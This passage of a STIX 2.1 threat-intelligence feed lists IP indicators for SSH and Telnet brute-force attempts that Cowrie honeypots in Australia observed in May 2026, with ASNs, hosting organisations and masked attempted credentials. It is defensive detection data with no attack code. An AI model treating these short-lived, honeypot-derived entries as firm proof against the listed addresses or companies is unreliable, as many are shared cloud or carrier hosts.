      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133296. Organisation(s): Web Werks India Pvt. Ltd..",
      "id": "indicator--694283b6-a635-4d71-9198-94951993af35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.242.15.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:15:10.000Z",
      "valid_until": "2026-06-03T14:15:08.000Z"
    },
    {
      "created": "2026-05-02T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27717. Organisation(s): Corporacion Digitel C.A..",
      "id": "indicator--64bc60f4-7940-4164-bdd7-6838d2c36ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.121.236.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:15:10.000Z",
      "valid_until": "2026-06-03T14:15:08.000Z"
    },
    {
      "created": "2026-05-02T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13886. Organisation(s): Cloud South.",
      "id": "indicator--7f74858f-6024-40cc-874d-9e4e488eb42b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.227.67.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:15:10.000Z",
      "valid_until": "2026-06-03T14:15:08.000Z"
    },
    {
      "created": "2026-05-02T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--966aa264-d29e-4056-960e-3cb8ab0c10e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.17.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:15:10.000Z",
      "valid_until": "2026-06-03T14:15:08.000Z"
    },
    {
      "created": "2026-05-02T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8560. Organisation(s): IONOS SE.",
      "id": "indicator--2ff79c31-aa73-4aa9-8459-d9db59373fcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.251.76.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:15:10.000Z",
      "valid_until": "2026-06-03T14:15:08.000Z"
    },
    {
      "created": "2026-05-02T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 16637. Organisation(s): MTN Business Solutions. Usernames observed (masked): r**t, a***n, a***********r, j*****s, 3**********4. Passwords observed (masked): 1**4, 1*********b, 1****z, 3***********4, 3**********4.",
      "id": "indicator--fe45003a-dc2b-4328-9c9a-4c71d0fab257",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.181.156.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:15:10.000Z",
      "valid_until": "2026-06-03T14:15:08.000Z"
    },
    {
      "created": "2026-05-02T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--35c54ada-8d78-483b-bef8-1136f2753093",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.122.253.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:15:10.000Z",
      "valid_until": "2026-06-03T14:15:08.000Z"
    },
    {
      "created": "2026-05-02T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--469008ee-409c-4f52-8409-a6066c8693ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.175.158.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:15:10.000Z",
      "valid_until": "2026-06-03T14:15:08.000Z"
    },
    {
      "created": "2026-05-02T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ZW. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--f6b28856-b96b-438b-bd26-7b92e351490e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.244.197.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:15:10.000Z",
      "valid_until": "2026-06-03T14:15:08.000Z"
    },
    {
      "created": "2026-05-02T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--35b1654c-f2b3-45be-a104-905f75359d17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.41.5.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:15:11.000Z",
      "valid_until": "2026-06-03T15:15:09.000Z"
    },
    {
      "created": "2026-05-02T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--85c5ef1e-4188-4ce6-932e-4065e898c1d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.199.223.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:15:11.000Z",
      "valid_until": "2026-06-03T15:15:09.000Z"
    },
    {
      "created": "2026-05-02T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 158. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 154177. Organisation(s): LIGHT NODE LIMITED.",
      "id": "indicator--10b54a2d-2e11-44e1-8812-01e4f49290ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.94.94.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:15:11.000Z",
      "valid_until": "2026-06-03T15:15:09.000Z"
    },
    {
      "created": "2026-05-02T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 210329. Organisation(s): Kamatera Inc.",
      "id": "indicator--b23c042a-07c8-4bcf-bd62-6a7de73a0b2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.247.116.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:15:11.000Z",
      "valid_until": "2026-06-03T15:15:09.000Z"
    },
    {
      "created": "2026-05-02T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): r**t, t**r.",
      "id": "indicator--3f5b3623-704d-496f-aa9f-96cccab68f3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.227.227.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:15:11.000Z",
      "valid_until": "2026-06-03T15:15:09.000Z"
    },
    {
      "created": "2026-05-02T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD..",
      "id": "indicator--7a798066-a6e4-4355-8413-7e9fe4f25491",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:15:11.000Z",
      "valid_until": "2026-06-03T15:15:09.000Z"
    },
    {
      "created": "2026-05-02T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:15:11.000Z",
      "valid_until": "2026-06-03T15:15:09.000Z"
    },
    {
      "created": "2026-05-02T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 91. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--5d109205-d9eb-4cbe-82cb-128e4336ea5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.197.65.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:15:11.000Z",
      "valid_until": "2026-06-03T15:15:09.000Z"
    },
    {
      "created": "2026-05-02T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--cfed1581-5aea-4f10-9702-039485b24767",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.206.100.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:15:11.000Z",
      "valid_until": "2026-06-03T16:15:09.000Z"
    },
    {
      "created": "2026-05-02T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--aeae4829-5298-4c72-ab16-6ad19f6fc295",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:15:11.000Z",
      "valid_until": "2026-06-03T16:15:09.000Z"
    },
    {
      "created": "2026-05-02T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 39891. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--ab53b3fe-e2bd-4839-a023-393d3227e23a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.139.9.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:15:11.000Z",
      "valid_until": "2026-06-03T16:15:09.000Z"
    },
    {
      "created": "2026-05-02T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--566d92f6-1198-4f93-92d1-4492949e2b2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:15:11.000Z",
      "valid_until": "2026-06-03T16:15:09.000Z"
    },
    {
      "created": "2026-05-02T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 131386. Organisation(s): Long Van System Solution JSC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a188801e-a878-4357-9932-2c1f429224db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.119.85.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:15:11.000Z",
      "valid_until": "2026-06-03T16:15:09.000Z"
    },
    {
      "created": "2026-05-02T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268016. Organisation(s): ZN DIGITAL PALOTINA LTDA ME.",
      "id": "indicator--86387ec9-faa8-446e-82cb-019f59ac6069",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.167.151.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:15:11.000Z",
      "valid_until": "2026-06-03T16:15:09.000Z"
    },
    {
      "created": "2026-05-02T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 102. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 33182. Organisation(s): HostDime.com, Inc..",
      "id": "indicator--fa5c615e-11f6-4f45-aedd-3a6b016cfdc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '67.23.227.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:15:11.000Z",
      "valid_until": "2026-06-03T16:15:09.000Z"
    },
    {
      "created": "2026-05-02T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--86622272-2c4a-488a-b68c-45ece0528f69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.54.70.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:15:11.000Z",
      "valid_until": "2026-06-03T16:15:09.000Z"
    },
    {
      "created": "2026-05-02T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--b2aba253-d04b-4555-8ede-c38a35c1af16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:15:11.000Z",
      "valid_until": "2026-06-03T16:15:09.000Z"
    },
    {
      "created": "2026-05-02T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): u****u, u**r. Passwords observed (masked): q******2, u*********5.",
      "id": "indicator--955cd4aa-8101-4694-bfd2-7616203810f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.51.73.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:15:10.000Z",
      "valid_until": "2026-06-03T17:15:08.000Z"
    },
    {
      "created": "2026-05-02T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--bb79c557-f05e-44c9-901b-e79595933de3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.0.0.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:15:10.000Z",
      "valid_until": "2026-06-03T17:15:08.000Z"
    },
    {
      "created": "2026-05-02T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 348. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, u**r, 1****6. Passwords observed (masked): a***n, 1**4, 1****6, p******d, 0*************7.",
      "id": "indicator--c189097d-d573-4e42-9550-a0e9bf8c2055",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.188.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:15:10.000Z",
      "valid_until": "2026-06-03T17:15:08.000Z"
    },
    {
      "created": "2026-05-02T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 33977. Organisation(s): Banat Telecom Satelit S.R.L..",
      "id": "indicator--67f8d3ed-17e1-455c-bc41-40d9b28c8a11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.244.110.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:15:10.000Z",
      "valid_until": "2026-06-03T17:15:08.000Z"
    },
    {
      "created": "2026-05-02T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--ed77ba27-1a7a-4405-af43-98e4a88e3887",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.179.68.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:15:10.000Z",
      "valid_until": "2026-06-03T17:15:08.000Z"
    },
    {
      "created": "2026-05-02T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 420. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, s*****t, t**t, u**r. Passwords observed (masked): 1**4, a***n, p******d, *, 1**1.",
      "id": "indicator--876a1f2c-14c6-43ca-8ffd-029f7f51f06e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.6.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:15:10.000Z",
      "valid_until": "2026-06-03T17:15:08.000Z"
    },
    {
      "created": "2026-05-02T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265634. Organisation(s): JR INTERCOM S.R.L.",
      "id": "indicator--911626d0-7476-4069-8b23-f3811cf0eb5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.159.162.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:15:10.000Z",
      "valid_until": "2026-06-03T17:15:08.000Z"
    },
    {
      "created": "2026-05-02T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 343. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, m*******t, u****u, u***1, a****1. Passwords observed (masked): 1****6, !******x, !******X, ******, *.",
      "id": "indicator--ee17bff2-bf9c-4d8f-856e-c54d0f8ffe6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:15:10.000Z",
      "valid_until": "2026-06-03T17:15:08.000Z"
    },
    {
      "created": "2026-05-02T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--301a5c5f-c939-4137-bca2-b907f95f2f89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.208.25.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:15:10.000Z",
      "valid_until": "2026-06-03T17:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133662. Organisation(s): SHREENET.",
      "id": "indicator--834d2505-b63c-45bf-98aa-4c3987147f99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.203.66.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
